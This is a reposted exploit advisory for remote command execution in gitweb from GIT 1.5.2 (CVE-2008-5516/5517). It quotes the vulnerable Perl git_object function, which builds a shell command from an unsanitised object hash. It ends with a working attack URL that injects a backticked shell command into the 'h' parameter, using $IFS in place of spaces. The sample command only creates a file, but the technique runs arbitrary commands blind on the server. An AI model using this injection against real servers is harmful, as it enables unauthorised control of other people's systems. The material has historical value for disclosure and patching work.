gitWeb v1.5.2 Remote Command Execution

# Exploit Title: gitWeb remote command execution# Date: 2009.06.19# Author: S2 Crew [Hungary]# Software Link: -# Version: GIT 1.5.2# Tested on: debian li...

iteye_11341

82人浏览 · 2010-02-23 07:03:00

iteye_11341 · 2010-02-23 07:03:00 发布

 
# Exploit Title: gitWeb remote command execution 
 
 # Date: 2009.06.19 
 
 # Author: S2 Crew [Hungary] 
 
 # Software Link: - 
 
 # Version: GIT 1.5.2 
 
 # Tested on: debian linux, GIT 1.5.2 
 
 # CVE: CVE-2008-5516 - CVE-2008-5517 
 
 # Code: 
 
 # The cgi script doesn't show the command output *blind command execution ;)* 
 
 # Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object() 
 
 sub git_object { 
 
  # object is defined by:  
 
  # - hash or hash_base alone  
 
  # - hash_base and file_name  
 
  my $type;  
 
  # - hash or hash_base alone  
 
  if ($hash || ($hash_base && !defined $file_name)) {  
 
  my $object_id = $hash || $hash_base;  
 
  my $git_command = git_cmd_str();  
 
  open my $fd, "-|", "$git_command cat-file -t $object_id 2>/dev/null"  
 
  or die_error('404 Not Found', "Object does not exist");  
 
  $type = <$fd>;  
 
  chomp $type;  
 
  close $fd  
 
  or die_error('404 Not Found', "Object does not exist");  
 
  # - hash_base and file_name  
 
 # Example 
 
 http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785